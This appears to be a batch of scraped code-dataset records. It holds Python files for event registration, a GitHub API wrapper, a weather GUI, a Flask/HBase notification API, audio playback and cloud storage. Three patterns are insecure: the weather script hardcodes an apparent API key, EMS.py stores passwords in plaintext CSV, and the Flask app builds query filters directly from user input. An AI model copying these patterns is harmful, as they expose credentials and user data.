user.changeSessionStatus(seminar, session, status) == False:\r\n return False\r\n\r\n def register_course(self, user, course):\r\n if user.registerCourse(course) == False:\r\n return False\r\n\r\n def register_seminar(self, user, seminar, session):\r\n if user.registerSeminar(seminar, session) == False:\r\n return False\r\n\r\n def deRegister_course(self, user, course):\r\n if user.deRegisterCourse(course) == False:\r\n return False\r\n\r\n def deRegister_seminar(self, user, seminar):\r\n if user.deRegisterSeminar(seminar) == False:\r\n return False\r\n\r\n def deRegister_session(self, user, seminar, session):\r\n if user.deRegisterSession(seminar, session) == False:\r\n return False\r\n\r\n def get_current_session(self, user, seminar):\r\n if user.get_current_session(seminar) == False:\r\n return False\r\n return user.get_current_session(seminar)\r\n\r\n def validate_login(self, username, password):\r\n\r\n for c in self.UNSWMember:\r\n if c.username == username and c.check_password(password):\r\n return c\r\n for g in self.guest:\r\n if g.email == username and g.check_password(password):\r\n return g\r\n return None\r\n\r\n def get_user_by_id(self, user_id):\r\n for c in self.UNSWMember:\r\n if c.get_id() == user_id:\r\n return c\r\n\r\n for g in self.guest:\r\n if g.get_id() == user_id:\r\n return g\r\n return None\r\n\r\n def check_capacity(self, event):\r\n if len(event.attendeeList) < event.maxAttendees:\r\n return True\r\n else:\r\n return False\r\n\r\n def check_deregister_validation(self, event):\r\n currentDate = datetime.now().date()\r\n if currentDate > event.deRegWindow:\r\n return False\r\n else:\r\n return True\r\n\r\n #pass in either a course or a session\r\n def check_reg_fee(self, guest, event):\r\n if isinstance(event, Course):\r\n return guest.calculate_fee(event)\r\n else:\r\n #if the guest is the speaker of the session\r\n if not guest.avoid_speaker(event):\r\n return 0\r\n else:\r\n for seminar in self.openEvent:\r\n #to get seminar id of the session\r\n if isinstance(seminar, Seminar) and event in seminar.session:\r\n target_id = seminar.id\r\n if target_id in guest.assigned_session.values():\r\n return 0\r\n return guest.calculate_fee(event)\r\n\r\n def check_sign_up_history(self, username, email):\r\n with open('guest.csv', 'r') as file:\r\n reader = csv.reader(file, delimiter=',')\r\n for row in reader:\r\n name = row[0]\r\n Email = row[1]\r\n if username.lower() == name.lower():\r\n return False\r\n if email.lower() == Email.lower():\r\n return False\r\n return True\r\n\r\n def guest_sign_up(self, username, email, password):\r\n errors = check_guest_registering_error(username, email, password)\r\n\r\n if not self.check_sign_up_history(username, email):\r\n errors['exist'] = 'Account already exists!'\r\n\r\n if errors != {}:\r\n raise SignUpError(errors)\r\n else:\r\n f = open('guest.csv', 'a')\r\n writer = csv.writer(f)\r\n writer.writerow((username, email, password))\r\n f.close()\r\n self.addGuest(Guest(username, email, password))\r\n","sub_path":"models/EMS.py","file_name":"EMS.py","file_ext":"py","file_size_in_byte":11100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"272523301","text":"# This file is part of Propagator, a KDE Sysadmin Project\n#\n# Copyright 2015 Boudhayan Gupta \n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# 3. Neither the name of KDE e.V. (or its successor approved by the\n# membership of KDE e.V.) nor the names of its contributors may be used\n# to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport os\nimport sys\nimport requests\n\ntry:\n import simplejson as json\nexcept ImportError:\n import json\n\nclass GithubRemote(object):\n\n def __init__(self, name, desc = \"This repository has no description\"):\n\n self.REPO_NAME = name\n self.REPO_DESC = desc\n\n cfgPath = os.environ.get(\"GATOR_CONFIG_FILE\")\n cfgData = {}\n with open(cfgPath) as f:\n cfgData = json.load(f)\n\n self.ORGANISATION = cfgData.get(\"GithubOrganization\")\n self.ACCESS_TOKEN = None\n with open(os.path.expanduser(cfgData.get(\"GithubAPIKeyFile\"))) as f:\n self.ACCESS_TOKEN = f.read().strip()\n\n self.SESSION = requests.Session()\n self.SESSION.headers.update({\"Accept\": \"application/vnd.github.v3+json\"})\n self.SESSION.headers.update({\"Authorization\": \" \".join((\"token\", ACCESS_TOKEN))})\n\n if self.REPO_NAME.endswith(\".git\"):\n self.REPO_NAME = self.REPO_NAME.rstrip(\".git\")\n\n def __repr__(self):\n\n return (\"\" % self.REPO_NAME)\n\n def setRepoDescription(self, desc):\n\n self.REPO_DESC = desc\n if self.repoExists():\n payload = {\"description\": desc}\n url = \"/\".join((\"https://api.github.com/repos\", self.ORGANISATION, self.REPO_NAME))\n r = self.SESSION.patch(url, data = json.dumps(payload))\n return ((r.status_code == 201) and (\"id\" in r.json.keys()))\n return True\n\n def repoExists(self):\n\n url = \"/\".join((\"https://api.github.com/repos\", self.ORGANISATION, self.REPO_NAME))\n r = self.SESSION.get(url)\n return ((r.ok) and (\"id\" in r.json.keys()))\n\n def createRepo(self):\n\n payload = {\n \"name\": self.REPO_NAME,\n \"description\": self.REPO_DESC,\n \"private\": False,\n \"has_issues\": False,\n \"has_wiki\": False,\n \"has_downloads\": False,\n \"auto_init\": False,\n }\n\n url = \"/\".join((\"https://api.github.com/orgs\", self.ORGANISATION, \"repos\"))\n r = self.SESSION.post(url, data = json.dumps(payload))\n return ((r.status_code == 201) and (\"id\" in r.json.keys()))\n\n def deleteRepo(self):\n\n url = \"/\".join((\"https://api.github.com/repos\", self.ORGANISATION, self.REPO_NAME))\n r = self.SESSION.delete(url)\n\n return (r.status_code == 204)\n\n def moveRepo(self, newname):\n\n if newname.endswith(\".git\"):\n newname = newname.rstrip(\".git\")\n\n payload = {\"name\": newname}\n url = \"/\".join((\"https://api.github.com/repos\", self.ORGANISATION, self.REPO_NAME))\n r = self.SESSION.patch(url, data = json.dumps(payload))\n\n if (r.status_code == 201) and (\"id\" in r.json.keys()):\n self.REPO_NAME = newname\n return True\n return False\n","sub_path":"server/GithubRemote.py","file_name":"GithubRemote.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"141848323","text":"k=int(input())\nl1=input(\" \")\nl1=list(l1.split(' '))\nu={}\nfor i in l1:\n if i in u:\n u[i]+=1\n else:\n u[i]=1\nfor key,value in u.items():\n if value==1:\n print(key)\n","sub_path":"04hun.py","file_name":"04hun.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"247994198","text":"from gameengine.util.Vector2 import Vector2\n\nfrom gameengine.components.Physics import Physics\nfrom gameengine.components.Script import Script\nfrom gameengine.components.SpriteRenderer import SpriteRenderer\nfrom gameengine.core.GameObject import GameObject\nfrom gameengine.core.Object import destroy\nfrom gameengine.tests.SuperMarioBros.sprites import blocksSprites, blocksSheet\n\n\nclass Particle(GameObject, Script):\n def __init__(self):\n super().__init__()\n self.addScript(self)\n\n def onBecameInvisible(self):\n destroy(self)\n\nclass BrickPiece(Particle):\n def __init__(self, pos, numStr):\n super().__init__()\n\n self.physics = self.addComponent(Physics)\n self.physics.mass = 0.8\n\n self.spriteRenderer = self.addComponent(SpriteRenderer)\n\n self.spriteRenderer.setSprite(blocksSprites[\"brick\"][\"pieces\"][numStr])\n\n rect = self.transform.worldRect\n rect.center = pos\n self.transform.position = rect.topLeft\n\n if numStr == '1':\n self.physics.addForce(Vector2(-2, -8))\n elif numStr == '2':\n self.physics.addForce(Vector2(2, -8))\n elif numStr == \"3\":\n self.physics.addForce(Vector2(-2, -4))\n elif numStr == \"4\":\n self.physics.addForce(Vector2(2, -4))\n\ndef brickPieces(pos):\n for i in range(1, 5):\n BrickPiece(pos, str(i))","sub_path":"gameengine/tests/SuperMarioBros/particles.py","file_name":"particles.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"172180302","text":"import re\n\nfrom . import noteparser\n\n\nclass English(noteparser.NoteParser):\n\n def __init__(self):\n\n super().__init__()\n\n self.CHROMATIC_SCALE_DICT = {'C': 0, 'C#': 1, 'Db': 1, 'D': 2, 'D#': 3, 'Eb': 3, 'E': 4, 'F': 5, 'F#': 6,\n 'Gb': 6, 'G': 7, 'G#': 8, 'Ab': 8, 'A': 9, 'A#': 10, 'Bb': 10, 'B': 11}\n\n oct_str = ''\n oct_int = self.get_default_starting_octave()\n if oct_int > 1:\n oct_str = str(oct_int)\n\n self.inverse_position_map = {\n (0, 0): 'C' + oct_str, (0, 1): 'D', (0, 2): 'E' + oct_str, (0, 3): 'F' + oct_str, (0, 4): 'G' + oct_str,\n (1, 0): 'A' + oct_str, (1, 1): 'B' + oct_str, (1, 2): 'C' + str(oct_int + 1),\n (1, 3): 'D' + str(oct_int + 1), (1, 4): 'E' + str(oct_int + 1),\n (2, 0): 'F' + str(oct_int + 1), (2, 1): 'G' + str(oct_int + 1), (2, 2): 'A' + str(oct_int + 2),\n (2, 3): 'B' + str(oct_int + 2), (2, 4): 'C' + str(oct_int + 2)\n }\n\n # Compile regexes for notes to save before using\n self.note_name_with_octave_regex = re.compile(r'([ABCDEFGabcdefg][b#]?\\d)')\n self.note_name_regex = re.compile(r'([ABCDEFGabcdefg][b#]?)')\n self.single_note_name_regex = re.compile(r'(\\b[ABCDEFGabcdefg][b#]?\\d?\\b)')\n self.note_octave_regex = re.compile(r'\\d')\n self.not_note_name_regex = re.compile(r'[^ABCDEFGabcdefgb#]+')\n self.not_octave_regex = re.compile(r'[^\\d]+')\n\n def sanitize_note_name(self, note_name):\n # make sure the first letter of the note is uppercase, for english note's dictionary keys\n note_name = note_name.capitalize()\n return note_name\n\n def get_note_from_coordinate(self, coord):\n\n try:\n note = self.inverse_position_map[coord]\n except KeyError:\n note = 'X'\n\n return note\n","sub_path":"python/noteparsers/english.py","file_name":"english.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"418927197","text":"import requests\r\nimport json\r\nimport PySimpleGUI as sg, sys\r\n\r\n# Função que faz o request e retorna os valores desejados\r\ndef buscar_dados(cidade, unidade): \r\n if unidade == 'Celsius': # se a unidade selecionada for \"Celsius\", adiciona o valor \"&units=metric\" ao request\r\n request = requests.get(\"http://api.openweathermap.org/data/2.5/weather?q={}&appid=3ad92087b8a46499d0838a9985eb368b&units=metric\".format(cidade))\r\n else: # unidade padrão da API é Kelvin\r\n request = requests.get(\"http://api.openweathermap.org/data/2.5/weather?q={}&appid=3ad92087b8a46499d0838a9985eb368b\".format(cidade))\r\n print(json.loads(request.content)) # mostrando os valores no terminal\r\n return(json.loads(request.content))\r\n\r\ndef gerar_janela(valores, graus): #função que cria a janela com os valores contidos no json\r\n tamanho = [15,1] # identação dos campos\r\n tela2 = [\r\n [sg.T(\"\")],\r\n [sg.Text(\"Escolha uma Cidade:\"), sg.Input('', size=[15,1], key='_cidade_'),\r\n sg.Text(\"\", size=[1,1]),\r\n sg.Text(\"Graus:\"),\r\n sg.Combo(['Celsius', 'Kelvin'], default_value='Celsius', key='_unidade_'),\r\n sg.Text(\"\", size=[2,1]),\r\n sg.Button(button_text='Buscar')],\r\n [sg.T(\"\")],\r\n [sg.Text(\"Resultados da busca por:\"), sg.Text(valores['name'], font=('Arial', 10,'bold'))],\r\n [sg.Text(\"Temperatura mínima:\", size=(tamanho)), sg.Text(\"{} {}\".format(valores['main']['temp_min'], graus)), sg.Text(\"e máxima:\"), sg.Text(\"{} {}\".format(valores['main']['temp_max'], graus))],\r\n [sg.Text(\"Sensação térmica:\", size=(tamanho)), sg.Text(\"{} {}\".format(valores['main']['feels_like'], graus))],\r\n [sg.Text(\"Temperatura atual:\", size=(tamanho)), sg.Text(\"{} {}\".format(valores['main']['temp'], graus))],\r\n [sg.Text(\"Humidade do ar:\", size=(tamanho)), sg.Text(\"{}%\".format(valores['main']['humidity']))],\r\n [sg.T(\"\")],\r\n ]\r\n window2 = sg.Window('Consumindo uma API com Python', icon='a.ico').Layout(tela2)\r\n return(window2) # função retorna o layout com as informações para ser renderizada\r\n\r\n# tema que sera aplicado a todas as janelas\r\nsg.LOOK_AND_FEEL_TABLE['tema'] = {'BACKGROUND': '#dee2e6', 'TEXT': '#343a40', 'INPUT': '#f8f9fa',\r\n 'SCROLL': '#E7C855', 'TEXT_INPUT': '#343a40', 'BUTTON': ('#f8f9fa', '#495057'),\r\n 'PROGRESS': \"#282923\", 'SCROLL': '#282923', 'BORDER': 1,'SLIDER_DEPTH':0, 'PROGRESS_DEPTH':0}\r\n\r\nsg.ChangeLookAndFeel('tema')\r\n\r\ntelaInicial = [\r\n [sg.T(\"\")],\r\n [sg.Text(\"Escolha uma Cidade:\"), sg.Input('', size=[15,1], key='_cidade_'),\r\n sg.Text(\"\", size=[1,1]),\r\n sg.Text(\"Graus:\"),\r\n sg.Combo(['Celsius', 'Kelvin'], default_value='Celsius', key='_unidade_'),\r\n sg.Text(\"\", size=[2,1]),\r\n sg.Button(button_text='Buscar')],\r\n [sg.T(\"\")],\r\n]\r\n\r\ntela3 = [\r\n [sg.T(\"\")],\r\n [sg.Text(\"Escolha uma Cidade:\"), sg.Input('', size=[15,1], key='_cidade_'),\r\n sg.Text(\"\", size=[1,1]),\r\n sg.Text(\"Graus:\"),\r\n sg.Combo(['Celsius', 'Kelvin'], default_value='Celsius', key='_unidade_'),\r\n sg.Text(\"\", size=[2,1]),\r\n sg.Button(button_text='Buscar')],\r\n [sg.T(\"\")],\r\n [sg.Text(\"Cidade não encontrada!\")],\r\n [sg.T(\"\")],\r\n]\r\n\r\nwindow1 = sg.Window('Consumindo uma API com Python', icon='a.ico').Layout(telaInicial)\r\nwindow3 = sg.Window('Consumindo uma API com Python', icon='a.ico').Layout(tela3)\r\n\r\nunidade = ''\r\njanela1 = True\r\njanela2 = False\r\njanela3 = False\r\nevent, values = window1.Read() # renderizando a primeira janela\r\nwhile True:\r\n if event == sg.WIN_CLOSED or event == 'Cancelar': # Se usuário clicar no X ou em cancelar:\r\n sys.exit()\r\n\r\n if event == 'Buscar': # ao clicar no botão de busca\r\n valores = buscar_dados(values['_cidade_'], values['_unidade_']) # chamando a função que fará o request\r\n if values['_unidade_'] == 'Celsius':\r\n unidade = '°C'\r\n else:\r\n unidade = '°K'\r\n\r\n if valores['cod'] == '404': # no caso da cidade digitada não ser encontrada:\r\n if janela1 == True: \r\n janela1 = False\r\n window1.hide()\r\n if janela2 == True: \r\n janela2 = False\r\n window2.hide()\r\n janela3 = True\r\n event, values = window3.Read() # renderiza janela 3\r\n \r\n else: # caso cidade seja encontrada:\r\n if janela1 == True: \r\n janela1 = False\r\n window1.hide()\r\n if janela3 == True: \r\n janela3 = False\r\n window3.hide()\r\n if janela2 == True:\r\n janela2 = False\r\n window2.hide()\r\n janela2 = True\r\n window2 = gerar_janela(valores, unidade) # função que gera o layout da janela \r\n event, values = window2.Read() # renderizando a janela 2","sub_path":"consumir_api.py","file_name":"consumir_api.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"19498309","text":"\"\"\"\nWrite a guessing game where the user has to guess a secret number. After every guess the program tells the user whether their number\nwas too large or too small. At the end the number of tries needed should be printed. It counts only as one try if they input the same\nnumber multiple times consecutively.\n\"\"\"\n\nimport random\nnumber=random.randint(1,100)\nprint(number)\nsum=0\nprevious_guess=\"\"\nwhile True:\n guess_number=int(input(\"Enter a number:\"))\n if guess_number!=previous_guess:\n sum+=1\n previous_guess=guess_number\n if guess_number>number:\n print(\"Enter a lower number\")\n elif guess_number None:\n \"\"\"\n This `setup` script intercepts arguments to be passed to\n `setuptools.setup` in order to dynamically alter setup requirements\n while retaining a function call which can be easily parsed and altered\n by `setuptools-setup-versions`.\n \"\"\"\n # Require the package \"dataclasses\" for python 3.6, but not later\n # python versions (since it's part of the standard library after 3.6)\n if sys.version_info[:2] == (3, 6):\n if _INSTALL_REQUIRES not in kwargs:\n kwargs[_INSTALL_REQUIRES] = []\n kwargs[_INSTALL_REQUIRES].append(\"dataclasses\")\n # Add an \"all\" extra which includes all extra requirements\n if \"extras_require\" in kwargs and \"all\" not in kwargs[\"extras_require\"]:\n all_extras_require: Set[str] = set()\n kwargs[\"extras_require\"][\"all\"] = []\n for extra_name, requirements in kwargs[\"extras_require\"].items():\n if extra_name != \"all\":\n for requirement in requirements:\n if requirement not in all_extras_require:\n all_extras_require.add(requirement)\n kwargs[\"extras_require\"][\"all\"].append(requirement)\n # Pass the modified keyword arguments to `setuptools.setup`\n setuptools.setup(**kwargs)\n\n\nsetup(\n name=\"sob\",\n version=\"1.19.0\",\n description=(\n \"A framework for serializing/deserializing JSON/YAML into python \"\n \"class instances and vice versa\"\n ),\n url=\"https://github.com/davebelais/sob\",\n author=\"David Belais\",\n author_email=\"david@belais.me\",\n license=\"MIT\",\n include_package_data=True,\n zip_safe=False,\n python_requires=\"~=3.6\",\n keywords=\"rest api serialization serialize\",\n packages=[\"sob\", \"sob.utilities\"],\n package_data={\"sob\": [\"py.typed\"], \"sob.utilities\": [\"py.typed\"]},\n install_requires=[\"pyyaml>=3.10\", \"iso8601~=0.1\", \"more-itertools~=8.10\"],\n setup_requires=[\"setuptools\"],\n extras_require={\n \"test\": [\n \"black~=21.9b0\",\n \"wheel~=0.36.2\",\n \"mypy~=0.910\",\n \"tox~=3.20\",\n \"pytest~=5.4\",\n \"flake8~=3.9\",\n \"types-PyYAML~=5.4\",\n \"setuptools-setup-versions>=1.18.0,<2\",\n \"readme-md-docstrings>=0.1.0,<1\",\n \"twine~=3.2\",\n \"daves-dev-tools~=0.9\",\n ],\n \"dev\": [\"readme-md-docstrings~=0.1.0,<2\"],\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n \"Intended Audience :: Developers\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"534658394","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/Kamaelia/Audio/PyMedia/Output.py\n# Compiled at: 2008-10-19 12:19:52\n\"\"\"============================\nAudio Playback using PyMedia\n============================\n\nThis component plays raw audio sent to its \"inbox\" inbox using the pymedia\nlibrary.\n\nExample Usage\n-------------\n\nPlaying 8KHz 16 bit mono raw audio from a file::\n \n Pipeline( RateControlledFileReader(\"recording.raw\", readmode=\"bytes\", rate=8000*2/8,\n Output(sample_rate=8000, channels=1, format=\"S16_LE\"),\n ).run()\n\nHow does it work?\n-----------------\n\nOutput uses the PyMedia library to play back audio to the current audio playback\ndevice.\n\nSend raw binary audio data strings to its \"inbox\" inbox.\n\nThis component will terminate if a shutdownMicroprocess or producerFinished\nmessage is sent to the \"control\" inbox. The message will be forwarded on out of\nthe \"signal\" outbox just before termination.\n\"\"\"\nfrom Axon.Component import component\nfrom Axon.Ipc import shutdownMicroprocess, producerFinished\nimport sys, os\nfrom Axon.ThreadedComponent import threadedcomponent\nimport time\nfrom math import log\nimport pymedia.muxer as muxer, pymedia.audio.acodec as acodec, pymedia.audio.sound as sound\nfrom Kamaelia.Support.PyMedia.AudioFormats import format2PyMediaFormat\nfrom Kamaelia.Support.PyMedia.AudioFormats import pyMediaFormat2format\nfrom Kamaelia.Support.PyMedia.AudioFormats import format2BytesPerSample\n\nclass Output(threadedcomponent):\n \"\"\" Output([sample_rate][,channels][,format]) -> new Output component.\n \n Outputs (plays) raw audio data sent to its \"inbox\" inbox using the PyMedia\n library.\n \n Keyword arguments:\n \n - sample_rate -- Sample rate in Hz (default = 44100)\n - channels -- Number of channels (default = 2)\n - format -- Sample format (default = \"S16_LE\")\n \"\"\"\n\n def __init__(self, sample_rate=44100, channels=2, format='S16_LE', maximumLag=0.0):\n \"\"\"x.__init__(...) initializes x; see x.__class__.__doc__ for signature\"\"\"\n super(Output, self).__init__()\n pformat = format2PyMediaFormat[format]\n self.snd = sound.Output(sample_rate, channels, pformat)\n self.chunksize = sample_rate / 40\n mask = 4 * channels - 1\n self.chunksize = 2 ** int(log(self.chunksize) / log(2))\n self.maxLag = int(maximumLag * sample_rate * channels * format2BytesPerSample[format])\n\n def main(self):\n CHUNKSIZE = self.chunksize\n shutdown = False\n while self.anyReady() or not shutdown:\n buffer = []\n buffersize = 0\n while self.dataReady('inbox'):\n chunk = self.recv('inbox')\n buffer.append(chunk)\n buffersize += len(chunk)\n\n if self.maxLag > 0:\n while buffersize > self.maxLag:\n buffersize -= len(buffer[0])\n del buffer[0]\n\n for chunk in buffer:\n for i in range(0, len(chunk), CHUNKSIZE):\n self.snd.play(chunk[i:i + CHUNKSIZE])\n\n while self.dataReady('control'):\n msg = self.recv('control')\n if isinstance(msg, (producerFinished, shutdownMicroprocess)):\n shutdown = True\n self.send(msg, 'signal')\n\n if not shutdown:\n self.pause()\n\n self.snd.stop()\n\n\n__kamaelia_components__ = (\n Output,)","sub_path":"pycfiles/Kamaelia-0.6.0-py2.5/Output.py","file_name":"Output.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"405084836","text":"from flask import Flask\r\nfrom flask import request, jsonify\r\nimport happybase\r\n\r\napp = Flask(__name__)\r\napp.config[\"DEBUG\"] = True\r\n\r\nport = 49173\r\n\r\n\r\n@app.route('/db_init', methods=['GET'])\r\ndef db_init():\r\n connection = happybase.Connection('0.0.0.0', port)\r\n connection.open()\r\n\r\n connection.delete_table('notifications', disable=True)\r\n connection.create_table(\r\n 'notifications',\r\n {\r\n 'from_to': dict(),\r\n 'extras': dict()\r\n }\r\n )\r\n\r\n connection.close()\r\n return \"OK\"\r\n\r\n\r\n@app.route('/db_conn_test', methods=['GET'])\r\ndef db_conn_test():\r\n connection = happybase.Connection('0.0.0.0', port)\r\n connection.open()\r\n x = connection.tables()\r\n connection.close()\r\n return jsonify(x)\r\n\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n return \"

ATD Projekt - HBASE

s15052

\"\r\n\r\n\r\n@app.route('/api/notifications/', methods=['GET'])\r\ndef get_notification(notification_type):\r\n connection = happybase.Connection(host='0.0.0.0', port=port)\r\n connection.open()\r\n table = connection.table('notifications')\r\n objects = {}\r\n filter = \"SingleColumnValueFilter ('extras','type',=,'regexstring:^\" + \\\r\n notification_type+\"$')\"\r\n for key, data in table.scan(\r\n\r\n reverse=True,\r\n filter=filter\r\n ):\r\n objects[key] = data\r\n connection.close()\r\n return jsonify(objects)\r\n\r\n\r\n@app.route('/api/notifications/comment/', methods=['POST'])\r\ndef comment(key):\r\n if request.method == \"POST\":\r\n request_data = request.get_json()\r\n connection = happybase.Connection(host='0.0.0.0', port=port)\r\n connection.open()\r\n table = connection.table('notifications')\r\n table.put(str.encode(key), {\r\n b'from_to:from_user': str.encode(request_data['from_user']),\r\n b'from_to:for_user': str.encode(request_data['for_user']),\r\n b'extras:commented_on': str.encode(request_data['commented_on']),\r\n b'extras:text': str.encode(request_data['text']),\r\n b'extras:url': str.encode(request_data['url']),\r\n b'extras:type': b'comment'\r\n })\r\n connection.close()\r\n return request_data\r\n\r\n\r\n@app.route('/api/notifications/like/', methods=['POST'])\r\ndef like(key):\r\n if request.method == \"POST\":\r\n request_data = request.get_json()\r\n connection = happybase.Connection(host='0.0.0.0', port=port)\r\n connection.open()\r\n table = connection.table('notifications')\r\n table.put(str.encode(key), {\r\n b'from_to:from_user': str.encode(request_data['from_user']),\r\n b'from_to:for_user': str.encode(request_data['for_user']),\r\n b'extras:liked': str.encode(request_data['liked']),\r\n b'extras:url': str.encode(request_data['url']),\r\n b'extras:type': b'like'\r\n })\r\n connection.close()\r\n return request_data\r\n\r\n\r\n@app.route('/api/notifications/friendRequest/', methods=['POST'])\r\ndef friend_request(key):\r\n if request.method == \"POST\":\r\n request_data = request.get_json()\r\n connection = happybase.Connection(host='0.0.0.0', port=port)\r\n connection.open()\r\n table = connection.table('notifications')\r\n table.put(str.encode(key), {\r\n b'from_to:from_user': str.encode(request_data['from_user']),\r\n b'from_to:for_user': str.encode(request_data['for_user']),\r\n b'extras:type': b'friendRequest'\r\n })\r\n connection.close()\r\n return request_data\r\n\r\n\r\n@app.route('/api/notifications/pmMessage/', methods=['POST'])\r\ndef pm_message(key):\r\n if request.method == \"POST\":\r\n request_data = request.get_json()\r\n connection = happybase.Connection(host='0.0.0.0', port=port)\r\n connection.open()\r\n table = connection.table('notifications')\r\n table.put(str.encode(key), {\r\n b'from_to:from_user': str.encode(request_data['from_user']),\r\n b'from_to:for_user': str.encode(request_data['for_user']),\r\n b'extras:commented_on': str.encode(request_data['commented_on']),\r\n b'extras:text': str.encode(request_data['text']),\r\n b'extras:type': b'pmMessage'\r\n })\r\n connection.close()\r\n return request_data\r\n\r\n\r\napp.run()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"378435720","text":"import os\n\n\ndef read_input_file(day, output_type='string'):\n with open(os.path.join('{}/{}.in'.format(day, day)), 'r') as f:\n input_str = f.read()\n if output_type == 'string':\n\n input_content = input_str[:-1] # drop \\n\n elif output_type == 'list':\n input_content = input_str.split('\\n')[:-1] # drop empty last line\n else:\n raise ValueError('Unknown output_type {}. Expected string or list.'.format(output_type))\n return input_content\n\n\ndef print_binary_grid(grid, target_val=1):\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n print('#' if grid[i][j] == target_val else ' ', end='')\n print('')\n","sub_path":"helper_functions/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640766610","text":"import os\nimport json\n\nimport qiniu\n\nfrom ..conf import CHUNK_SIZE\nfrom . import content as mod_content\n\n\nkeys_fpath = os.path.expanduser('~/.qiniu/keys.json')\nif os.path.exists(keys_fpath):\n with open(keys_fpath) as f:\n keys = json.load(f)\n access_key = keys['access-key']\n secret_key = keys['secret-key']\nelse:\n access_key = ''\n secret_key = ''\n\n\ntemplate = {\n 'type': 'qiniu',\n 'name': 'qiniu',\n 'domain': 'https://p9jlgsz5w.bkt.clouddn.com/',\n 'bucket': 'eno-zone',\n 'access-key': access_key,\n 'secret-key': secret_key,\n}\n\n\nclass QiniuContent(mod_content.Content):\n\n def init_extra(self):\n storage = self.storage\n access_key = storage.meta['access-key']\n secret_key = storage.meta['secret-key']\n self.domain = storage.meta['domain']\n self.auth = qiniu.Auth(access_key, secret_key)\n self.bucket_manager = qiniu.BucketManager(self.auth)\n self.bucket_name = storage.meta['bucket']\n\n def query(self, args):\n op = args['op']\n if op == 'prepare-upload':\n return self.prepare_upload(args)\n elif op == 'get-upload-token':\n return self.get_upload_token(args)\n elif op == 'get-download-url':\n return self.get_download_url(args)\n\n def delete_content(self):\n chunks = self.meta.get('chunks')\n if not chunks:\n return\n ops = qiniu.build_batch_delete(\n self.bucket_name, [c['path'] for c in chunks]\n )\n self.bucket_manager.batch(ops)\n\n def prepare_upload(self, args):\n size = args['size']\n chunks = []\n n_chunks = (size + CHUNK_SIZE - 1) // CHUNK_SIZE\n for i_chunk in xrange(n_chunks):\n offset = i_chunk * CHUNK_SIZE\n chunk_size = min(CHUNK_SIZE, size - offset)\n chunk = self.make_chunk(i_chunk, n_chunks, offset, chunk_size)\n chunks.append(chunk)\n self.update_meta({'chunks': chunks})\n return {'chunks': chunks}\n\n def get_upload_token(self, args):\n path = args['path']\n token = self.make_upload_token(path)\n return {'token': token}\n\n def get_download_url(self, args):\n path = args['path']\n baseurl = self.domain + ('' if self.domain.endswith('/') else '/') + path\n url = self.auth.private_download_url(baseurl, expires=3600)\n return {'url': url}\n\n def make_chunk(self, i_chunk, n_chunks, offset, size):\n if n_chunks == 1:\n path = self.md5\n else:\n path = self.md5 + '-{}-{}'.format(i_chunk, n_chunks)\n return {\n 'path': path,\n 'offset': offset,\n 'size': size,\n }\n\n def make_upload_token(self, path):\n bucket = self.bucket_name\n token = self.auth.upload_token(bucket, path, 3600)\n return token\n\n\nContent = QiniuContent\n","sub_path":"backend/stome/store/storage_qiniu.py","file_name":"storage_qiniu.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} 